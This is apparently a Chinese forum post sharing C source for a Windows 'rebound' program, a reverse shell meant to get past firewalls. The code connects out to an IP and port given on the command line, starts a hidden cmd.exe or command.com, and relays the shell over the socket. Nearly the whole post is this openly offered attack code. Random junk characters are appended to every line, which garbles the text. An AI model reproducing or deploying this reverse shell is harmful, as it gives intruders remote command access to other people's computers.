这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5[nmP95YK
zaH
5
Km_j
/* ============================== gAj0ukX5
Rebound port in Windows NT tB]`Hj
By wind,2006/7 Kq$:\B)<c
===============================*/ ix:2Z-
#include 33*^($bE&
#include XMomFW_@
KuIkul9^%
#pragma comment(lib,"wsock32.lib") d8rBu jT
GI}4,!^N
void OutputShell(); Sw yaYK
SOCKET sClient; K*TnUQ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L^6"'#
"pOqd8>]
void main(int argc,char **argv) 6BUBk>A`
{ zMbfV%b
WSADATA stWsaData; UP}feN
int nRet; 3(MoXA*
SOCKADDR_IN stSaiClient,stSaiServer; 2XzF k_6H
$K`_
K#A
if(argc != 3) 4A;[sm^f
{ dUI3erO
printf("Useage:\n\rRebound DestIP DestPort\n"); Rk}\)r\
return; iK ohuZr
} ]U_5\$
b*cW<vX}~
WSAStartup(MAKEWORD(2,2),&stWsaData); :b.3CL\.6
a:=q8Qy
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $[)6H7!U)
ThjUiuWe
stSaiClient.sin_family = AF_INET; @mvIt
stSaiClient.sin_port = htons(0); zB;'_[8M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AU3auBol
^
Jw2B&)k/
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )ZQHa7V
{ O'"YJ,
printf("Bind Socket Failed!\n"); Ii|uGxEc
return; ?$UH9T9)
} S4;wa6
+G<}JJ'V
stSaiServer.sin_family = AF_INET; >?^~s(t
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :uOZjEZi
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z`c%?_EK
0PYvey }[
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G%xb0%oi]%
{ 2O?Vr"
A
printf("Connect Error!"); g7.7E6%H
return; =n> iQS
} 3X,]=f@_
OutputShell(); vEu
Ka<5
} xylpiSJ
[Bl
$IfU
void OutputShell() _`TepX R
{ Rbx97(wK
char szBuff[1024]; QIR4<]/
SECURITY_ATTRIBUTES stSecurityAttributes; Su$18a"Bc
OSVERSIONINFO stOsversionInfo; _Ngx$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; > .a+:
STARTUPINFO stStartupInfo; hfJrQhmE
char *szShell; b\kN_
PROCESS_INFORMATION stProcessInformation; h=uiC&B
unsigned long lBytesRead; _cW_u?0X:
GwTT+
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^`l"'6
{
z-5GH|
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Hlz'a1\:O]
stSecurityAttributes.lpSecurityDescriptor = 0; pw0Px
stSecurityAttributes.bInheritHandle = TRUE; |Dl*w/n
sjkWz2]S
C4&U:y<ju
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b7?U8/#'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MDMtOfe|
}v_p gatC
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); szf"|k!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zkf 3t>[
stStartupInfo.wShowWindow = SW_HIDE; *54>iO-
c
stStartupInfo.hStdInput = hReadPipe; JoZqLy!@
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r~ZS1Tp
5F'%i;)oq
GetVersionEx(&stOsversionInfo); SZCF3m&pz
aO~si=
switch(stOsversionInfo.dwPlatformId) L~@ma(TV{K
{ clh3
case 1: SQ1M4:hP
szShell = "command.com"; kWzuz#
break; jlYD~)
default: FZ[@])B
szShell = "cmd.exe"; X=rc3~}f
break; '"!z$i~G=
} `,F&y{A
s`$NW^']
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =gxgS<bde
;cM8EU^.
send(sClient,szMsg,77,0); _myg._[
while(1) 4yA9Ni
{ ?b!CV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tebWj>+1c
if(lBytesRead) bYwI==3
{ g*:ae;GP
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (|yRo
send(sClient,szBuff,lBytesRead,0); Wl^prs7}c
} 4 e=/f,o1
else ,Y+r<;
{ Ss"|1]acP
lBytesRead=recv(sClient,szBuff,1024,0); 8>C;
>v
if(lBytesRead<=0) break; zWCW: dI
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2ApDpH`fiJ
} 8m#}S\m
} l 'AK
F/Rng'l
return; r;&]?9)W0
}